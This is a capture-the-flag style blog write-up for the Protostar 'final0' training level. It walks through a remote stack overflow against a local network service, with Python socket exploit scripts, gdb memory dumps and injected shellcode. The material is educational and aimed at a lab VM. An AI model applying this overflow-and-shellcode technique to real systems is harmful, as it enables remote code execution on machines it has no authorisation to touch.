Thursday, January 1, 2015

Protostar - Final #0

About:

This level combines a stack overflow and network programming for a remote overflow. (link)


Source Code:





Solution:

As one of the final Protostar levels, final0 combines a stack-based memory corruption vulnerability from the stack levels with parts from the network programming levels.

Here, the actual stack overflow happens in the gets call at line 19.

First, I wanted to see how far away the saved return address was from where the buffer started. I wrote a quick python script that looked like this:

#!/usr/bin/env python
#

import socket

HOST = "127.0.0.1"
PORT = 2995

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

to_send = "a"*512 + "".join(map(chr, [x for x in range(33, 126)])) + "\n"
s.sendall(to_send)

msg = s.recv(1024)

print "resp:", msg

Running it causes a crash, and, after switching over to root, we can view the coredumps in /tmp/:

root@protostar:/tmp# gdb x ./core.11.final0.6961 
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
x: No such file or directory.
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0  0x38373635 in ?? ()

Ok, so we know where in our buffer is overwriting the saved return address. 

We still need to know where the start of our buffer is in memory so that we can point the return address there and get our shellcode to execute.

There may be multiple ways to do this next step, but I ended up running it once again with lots of a's and using gdb to scan the memory around $esp/$ebp:

(gdb) x/100x 0xbffffc00
0xbffffc00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc40: 0x41414141 0x41414141 0x00000000 0x00000200
0xbffffc50: 0x2c2b2a29 0x302f2e2d 0x34333231 0x08040035
0xbffffc60: 0x00000004 0x00000000 0x00000000 0xbffffc88
0xbffffc70: 0xb7ec6365 0xb7ff1040 0x00000004 0xb7fd7ff4
0xbffffc80: 0x080498b0 0x00000000 0xbffffd08 0xb7eadc76
0xbffffc90: 0x00000001 0xbffffd34 0xbffffd3c 0xb7fe1848
0xbffffca0: 0xbffffcf0 0xffffffff 0xb7ffeff4 0x08048787
0xbffffcb0: 0x00000001 0xbffffcf0 0xb7ff0626 0xb7fffab0
0xbffffcc0: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000
0xbffffcd0: 0xbffffd08 0xed4eb006 0xc70fe616 0x00000000
0xbffffce0: 0x00000000 0x00000000 0x00000001 0x08048cb0
0xbffffcf0: 0x00000000 0xb7ff6210 0xb7eadb9b 0xb7ffeff4
0xbffffd00: 0x00000001 0x08048cb0 0x00000000 0x08048cd1
0xbffffd10: 0x08049833 0x00000001 0xbffffd34 0x080498b0
0xbffffd20: 0x080498a0 0xb7ff1040 0xbffffd2c 0xb7fff8f8
0xbffffd30: 0x00000001 0xbffffe5e 0x00000000 0xbffffe78
0xbffffd40: 0xbffffe8d 0xbffffe94 0xbffffea3 0xbffffeb5
0xbffffd50: 0xbffffec0 0xbffffed0 0xbffffefb 0xbfffff16
0xbffffd60: 0xbfffff20 0xbfffff2b 0xbfffff36 0xbfffff4f
0xbffffd70: 0xbfffff72 0xbfffff7d 0xbfffff89 0xbfffff97

There's a string of a's!

Let's find the start of it:

(gdb) x/100x 0xbffffa00
0xbffffa00: 0xbffffa48 0x00000201 0xbffffa28 0xb7f0a068
0xbffffa10: 0x0804b008 0xbffffa48 0x00000201 0x00000200
0xbffffa20: 0x00000000 0x00000000 0xbffffc58 0x0804982a
0xbffffa30: 0xbffffa48 0x0000000d 0x00000200 0x00000680
0xbffffa40: 0xb7e9c894 0x0d696910 0x41414141 0x41414141
0xbffffa50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa70: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffaa0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffab0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffac0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffad0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffae0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffaf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb70: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb80: 0x41414141 0x41414141 0x41414141 0x41414141


Ok, so our target address is 0xbffffa48.

Now, we can take the shellcode used in the stack5 level (http://secwriteups.blogspot.com/2014/12/protostar-stack-5.html) and modify our script from before:

#!/usr/bin/env python
#

import socket


HOST = "127.0.0.1"
PORT = 2995
TARGET = "\x48\xfa\xff\xbf"
SHELLCODE = "\xeb\x19\x5e\x31\xc0\x31\xdb\x31\xd2\x89\xf1\x80\xc3\x01\xb0\x04\xb2\x0b\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80\xe8\xe2\xff\xff\xff\x49\x27\x6d\x20\x48\x65\x72\x65\x21\x21\x21"
BUF_LEN = 532

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

to_send = SHELLCODE + "x"*(BUF_LEN - len(SHELLCODE)) + TARGET + "\n"
s.sendall(to_send)

msg = s.recv(1024)
print "resp:", msg

Running the final0.py script outputs this:

root@protostar:/tmp# python final0.py 
resp: I'M HERE!!!




1 comment: